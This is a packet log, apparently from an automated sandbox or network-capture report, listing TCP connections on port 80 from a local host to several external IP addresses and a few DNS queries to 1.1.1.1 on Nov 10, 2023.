Nov 10, 2023 09:29:21.615761042 CET	49742	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:22.766746044 CET	49742	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:23.785506964 CET	49743	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:24.141196966 CET	80	49743	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:24.141314030 CET	49743	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:24.141567945 CET	49743	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:24.497469902 CET	80	49743	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:24.497617006 CET	49743	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:24.497771978 CET	49743	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:24.853224039 CET	80	49743	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:29.678894043 CET	49744	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:29.831413984 CET	80	49744	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:29.831516981 CET	49744	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:29.831724882 CET	49744	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:29.983935118 CET	80	49744	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:30.122710943 CET	80	49744	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:30.122766972 CET	80	49744	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:30.122845888 CET	49744	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:31.344850063 CET	49744	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:32.361025095 CET	49745	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:32.513458967 CET	80	49745	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:32.513596058 CET	49745	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:32.513824940 CET	49745	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:32.666207075 CET	80	49745	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:32.805963993 CET	80	49745	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:32.806021929 CET	80	49745	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:32.806160927 CET	49745	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:34.016654015 CET	49745	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:35.032660007 CET	49746	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:35.185017109 CET	80	49746	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:35.185223103 CET	49746	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:35.185496092 CET	49746	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:35.337438107 CET	80	49746	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:35.337465048 CET	80	49746	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:35.478204966 CET	80	49746	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:35.478354931 CET	80	49746	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:35.478527069 CET	49746	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:36.688553095 CET	49746	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:37.704957008 CET	49747	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:37.857208967 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:37.857362986 CET	49747	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:37.858119965 CET	49747	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:38.010263920 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.157619953 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.157659054 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.157677889 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.157699108 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.157821894 CET	49747	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:38.165056944 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.165117025 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.165133953 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:38.165220022 CET	49747	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:38.165220022 CET	49747	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:38.165371895 CET	49747	80	192.168.2.10	35.227.246.104
Nov 10, 2023 09:29:38.317827940 CET	80	49747	35.227.246.104	192.168.2.10
Nov 10, 2023 09:29:43.939263105 CET	49748	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:44.246038914 CET	80	49748	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:44.246201038 CET	49748	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:44.246426105 CET	49748	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:44.553551912 CET	80	49748	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:44.553600073 CET	80	49748	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:44.553782940 CET	49748	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:45.750999928 CET	49748	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:46.767663956 CET	49749	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:47.081444025 CET	80	49749	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:47.082045078 CET	49749	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:47.082045078 CET	49749	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:47.396713018 CET	80	49749	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:47.396750927 CET	80	49749	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:47.396796942 CET	49749	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:48.594707966 CET	49749	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:49.611552954 CET	49750	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:49.918441057 CET	80	49750	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:49.918576956 CET	49750	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:49.918850899 CET	49750	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:50.225799084 CET	80	49750	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:50.226386070 CET	80	49750	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:50.226454020 CET	80	49750	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:50.226552010 CET	49750	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:51.424386024 CET	49750	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:52.439064980 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:52.753087997 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:52.753184080 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:52.753489017 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.108055115 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124485970 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124547958 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124567986 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124588966 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124608040 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124659061 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124702930 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124716997 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.124716997 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.124761105 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.124771118 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124792099 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124855995 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.124866962 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.124927998 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.438736916 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.438802004 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.438843012 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.438885927 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.438884020 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.438930988 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.438971043 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.438976049 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439019918 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439028025 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.439059019 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439097881 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439107895 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.439136028 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439176083 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439196110 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.439214945 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439254045 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:53.439260006 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.439374924 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.439533949 CET	49751	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:29:53.754384041 CET	80	49751	91.195.240.19	192.168.2.10
Nov 10, 2023 09:29:58.455892086 CET	49752	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:58.804198980 CET	80	49752	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:58.804308891 CET	49752	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:58.805006027 CET	49752	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:29:59.154952049 CET	80	49752	168.76.252.99	192.168.2.10
Nov 10, 2023 09:29:59.155067921 CET	49752	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:01.603509903 CET	49752	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:02.610764027 CET	49753	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:02.966270924 CET	80	49753	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:02.966403008 CET	49753	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:02.966656923 CET	49753	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:03.322711945 CET	80	49753	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:03.322870016 CET	49753	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:04.469861984 CET	49753	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:05.485872984 CET	49754	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:05.841427088 CET	80	49754	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:05.841681957 CET	49754	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:05.842101097 CET	49754	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:06.197455883 CET	80	49754	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:06.197726965 CET	80	49754	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:06.197830915 CET	49754	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:07.344763041 CET	49754	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:08.361449003 CET	49755	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:08.714710951 CET	80	49755	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:08.714833021 CET	49755	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:08.715059042 CET	49755	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:09.068584919 CET	80	49755	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:09.068847895 CET	49755	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:09.069096088 CET	49755	80	192.168.2.10	168.76.252.99
Nov 10, 2023 09:30:09.421710014 CET	80	49755	168.76.252.99	192.168.2.10
Nov 10, 2023 09:30:15.070981026 CET	49756	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:15.396200895 CET	80	49756	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:15.396337986 CET	49756	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:15.396548986 CET	49756	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:15.721514940 CET	80	49756	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:15.721585989 CET	80	49756	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:17.934366941 CET	49757	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:18.255868912 CET	80	49757	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:18.255979061 CET	49757	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:18.575270891 CET	80	49757	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:20.439018965 CET	49758	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:20.766122103 CET	80	49758	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:20.766216993 CET	49758	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:20.766788006 CET	49758	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:21.093313932 CET	80	49758	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:21.093792915 CET	80	49758	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:23.298495054 CET	49759	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:23.616709948 CET	80	49759	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:23.616947889 CET	49759	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:23.617130041 CET	49759	80	192.168.2.10	8.212.101.233
Nov 10, 2023 09:30:23.934751987 CET	80	49759	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:23.934782982 CET	80	49759	8.212.101.233	192.168.2.10
Nov 10, 2023 09:30:29.765969992 CET	49760	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:30.097464085 CET	80	49760	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:30.097696066 CET	49760	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:30.097944021 CET	49760	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:30.424757957 CET	80	49760	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:30.424803972 CET	80	49760	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:30.425128937 CET	49760	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:31.610507011 CET	49760	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:31.938040972 CET	80	49760	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:32.626890898 CET	49761	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:32.951754093 CET	80	49761	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:32.951893091 CET	49761	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:32.952136040 CET	49761	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:33.275660992 CET	80	49761	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:33.275775909 CET	80	49761	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:33.275887966 CET	49761	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:34.454081059 CET	49761	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:34.778510094 CET	80	49761	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:35.473342896 CET	49762	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:35.799962997 CET	80	49762	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:35.800085068 CET	49762	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:36.963881016 CET	49762	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:37.287725925 CET	80	49762	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:37.287755966 CET	80	49762	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:39.489253998 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:39.817691088 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:39.817869902 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:39.818058014 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.146636963 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146688938 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146724939 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146760941 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146781921 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.146795988 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146828890 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146836042 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.146862030 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146893978 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146898031 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.146927118 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146960020 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.146965027 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.146994114 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.147031069 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.475420952 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.475482941 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.475522041 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:40.475636959 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.475718975 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.475943089 CET	49763	80	192.168.2.10	103.120.80.111
Nov 10, 2023 09:30:40.807037115 CET	80	49763	103.120.80.111	192.168.2.10
Nov 10, 2023 09:30:45.968787909 CET	49764	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:46.274754047 CET	80	49764	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:46.275110006 CET	49764	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:46.275325060 CET	49764	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:46.580848932 CET	80	49764	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:46.581011057 CET	80	49764	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:46.581224918 CET	80	49764	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:46.581294060 CET	49764	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:47.782306910 CET	49764	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:48.802030087 CET	49765	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:49.107798100 CET	80	49765	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:49.108010054 CET	49765	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:49.108351946 CET	49765	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:49.418806076 CET	80	49765	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:49.420788050 CET	80	49765	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:49.420928001 CET	80	49765	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:49.420975924 CET	49765	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:50.610280991 CET	49765	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:51.626295090 CET	49766	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:51.932431936 CET	80	49766	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:51.932539940 CET	49766	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:51.932936907 CET	49766	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:52.238821030 CET	80	49766	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:52.239691019 CET	80	49766	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:52.239742994 CET	80	49766	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:52.239820004 CET	49766	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:54.611151934 CET	49766	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:55.626686096 CET	49767	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:55.933092117 CET	80	49767	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:55.933223009 CET	49767	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:55.933465958 CET	49767	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:56.239187002 CET	80	49767	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:56.240942001 CET	80	49767	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:56.240967989 CET	80	49767	136.243.218.18	192.168.2.10
Nov 10, 2023 09:30:56.241123915 CET	49767	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:56.241281033 CET	49767	80	192.168.2.10	136.243.218.18
Nov 10, 2023 09:30:56.547029018 CET	80	49767	136.243.218.18	192.168.2.10
Nov 10, 2023 09:31:01.635085106 CET	49768	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:01.940572023 CET	80	49768	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:01.940752029 CET	49768	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:01.942513943 CET	49768	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:02.248675108 CET	80	49768	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:02.248739004 CET	80	49768	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:02.248862982 CET	49768	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:03.454103947 CET	49768	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:04.470114946 CET	49769	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:04.777123928 CET	80	49769	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:04.777264118 CET	49769	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:04.777517080 CET	49769	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:05.085036039 CET	80	49769	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:05.085074902 CET	80	49769	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:05.085172892 CET	49769	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:06.282196045 CET	49769	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:07.298257113 CET	49770	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:07.603090048 CET	80	49770	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:07.603188992 CET	49770	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:07.603514910 CET	49770	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:07.908258915 CET	80	49770	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:07.909116983 CET	80	49770	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:07.909130096 CET	80	49770	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:07.909195900 CET	49770	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:09.118700981 CET	49770	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:12.559005976 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:12.865479946 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:12.865668058 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:12.865883112 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.204938889 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.204988003 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205024004 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205060005 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205069065 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.205097914 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205105066 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.205136061 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205173016 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205178022 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.205212116 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205254078 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.205266953 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205303907 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.205352068 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.512258053 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512295008 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512325048 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512341976 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512373924 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512401104 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512428999 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512444973 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512463093 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512461901 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.512474060 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512490034 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.512491941 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512512922 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512523890 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.512530088 CET	80	49771	91.195.240.19	192.168.2.10
Nov 10, 2023 09:31:13.512552023 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.512656927 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.512917042 CET	49771	80	192.168.2.10	91.195.240.19
Nov 10, 2023 09:31:13.819329977 CET	80	49771	91.195.240.19	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 10, 2023 09:27:28.646183968 CET	59796	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:27:28.956147909 CET	53	59796	1.1.1.1	192.168.2.10
Nov 10, 2023 09:27:44.986780882 CET	58355	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:27:45.204215050 CET	53	58355	1.1.1.1	192.168.2.10
Nov 10, 2023 09:27:58.628226042 CET	52013	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:27:59.338165045 CET	53	52013	1.1.1.1	192.168.2.10
Nov 10, 2023 09:28:13.814363003 CET	60548	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:28:14.107490063 CET	53	60548	1.1.1.1	192.168.2.10
Nov 10, 2023 09:28:28.830049038 CET	60498	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:28:28.990993977 CET	53	60498	1.1.1.1	192.168.2.10
Nov 10, 2023 09:28:43.768142939 CET	57658	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:28:43.996252060 CET	53	57658	1.1.1.1	192.168.2.10
Nov 10, 2023 09:28:59.189393044 CET	59394	53	192.168.2.10	1.1.1.1
Nov 10, 2023 09:28:59.389941931 CET	53	59394	1.1.1.1	192.168.2.10
